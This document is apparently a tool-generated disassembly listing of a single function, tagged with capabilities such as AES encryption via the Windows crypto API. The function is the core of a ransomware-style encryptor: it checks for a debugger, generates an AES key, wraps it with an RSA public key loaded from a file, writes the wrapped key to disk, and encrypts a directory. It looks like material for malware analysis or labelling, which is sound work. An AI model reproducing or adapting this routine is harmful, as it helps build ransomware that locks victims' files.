Function at 0x402c54
Capabilities:
Check if file exists
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Get file attributes
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov dword [esp], str.EncryptorMain_started.
call sym._LogToFile
call sym._IsDebugging
test eax, eax
je 0x402c88
mov dword [esp], str.Debugging_detected._Exiting.
call sym._LogToFile
mov eax, 1
jmp 0x4031a6
mov dword [ebp - 0x10], 0
mov dword [esp + 0x10], 0xf0000000
mov dword [esp + 0xc], 0x18
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sym._CryptAcquireContextA_20
sub esp, 0x14
test eax, eax
jne 0x402cd7
mov dword [esp], str.Failed_to_initialize_cryptographic_provider.
call sym._LogToFile
mov eax, 1
jmp 0x4031a6
mov eax, dword [ebp - 0x28]
lea edx, [ebp - 0x2c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 1
mov dword [esp + 4], 0x6610
mov dword [esp], eax
call sym._CryptGenKey_16
sub esp, 0x10
test eax, eax
jne 0x402d2c
mov dword [esp], str.Failed_to_generate_AES_key.
call sym._LogToFile
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._CryptReleaseContext_8
sub esp, 8
mov eax, 1
jmp 0x4031a6
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x138]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x104
mov dword [esp], str.encryptor.exe_public_key.blob
call sym._GetFullPathNameA_16
sub esp, 0x10
mov dword [esp], str.Attempting_to_load_RSA_public_key_from_file.
call sym._LogToFile
lea eax, [ebp - 0x138]
mov dword [esp], eax
call sym._LogToFile
lea eax, [ebp - 0x138]
mov dword [esp], eax
call sym._GetFileAttributesA_4
sub esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x402dc3
mov dword [esp], str.Public_key_file_does_not_exist.
call sym._LogToFile
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._CryptDestroyKey_4
sub esp, 4
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._CryptReleaseContext_8
sub esp, 8
mov eax, 1
jmp 0x4031a6
mov dword [esp + 4], 0x40d2a7
lea eax, [ebp - 0x138]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x402e1c
mov dword [esp], str.Failed_to_open_public_key_file.
call sym._LogToFile
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._CryptDestroyKey_4
sub esp, 4
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._CryptReleaseContext_8
sub esp, 8
mov eax, 1
jmp 0x4031a6
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0x1c], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fclose
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x30]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x20]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._CryptImportKey_24
sub esp, 0x18
test eax, eax
jne 0x402f79
mov dword [esp], str.Failed_to_import_RSA_public_key.
call sym._LogToFile
mov dword [esp], str.Public_Key_Data_Dump:
call sym._LogToFile
mov dword [ebp - 0xc], 0
jmp 0x402f38
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._02X
mov dword [esp + 4], 0xa
lea eax, [ebp - 0x142]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x142]
mov dword [esp], eax
call sym._LogToFile
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0xc], eax
jb 0x402ef6
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._CryptDestroyKey_4
sub esp, 4
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._CryptReleaseContext_8
sub esp, 8
mov eax, 1
jmp 0x4031a6
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._free
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x34]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._CryptExportKey_24
sub esp, 0x18
test eax, eax
jne 0x403004
mov dword [esp], str.Failed_to_export_AES_key.
call sym._LogToFile
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._CryptDestroyKey_4
sub esp, 4
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._CryptDestroyKey_4
sub esp, 4
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._CryptReleaseContext_8
sub esp, 8
mov eax, 1
jmp 0x4031a6
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40304f
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x34]
mov dword [esp + 0x14], ecx
mov ecx, dword [ebp - 0x10]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._CryptExportKey_24
sub esp, 0x18
test eax, eax
jne 0x4030a2
mov dword [esp], str.Failed_to_export_AES_key.
call sym._LogToFile
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._CryptDestroyKey_4
sub esp, 4
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._CryptDestroyKey_4
sub esp, 4
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._CryptReleaseContext_8
sub esp, 8
mov eax, 1
jmp 0x4031a6
mov dword [esp + 4], 0x40d1da
mov dword [esp], str.encrypted_aes_key.bin
call sym._fopen
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x403112
mov dword [esp], str.Failed_to_open_AES_key_file_for_writing.
call sym._LogToFile
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._CryptDestroyKey_4
sub esp, 4
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._CryptDestroyKey_4
sub esp, 4
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._CryptReleaseContext_8
sub esp, 8
mov eax, 1
jmp 0x4031a6
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x24]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._free
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], str.C:TestCrypt
call sym._EncryptDirectory
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._CryptDestroyKey_4
sub esp, 4
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._CryptDestroyKey_4
sub esp, 4
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._CryptReleaseContext_8
sub esp, 8
mov dword [esp], str.Encryption_process_completed.
call sym._LogToFile
mov eax, 0
leave
ret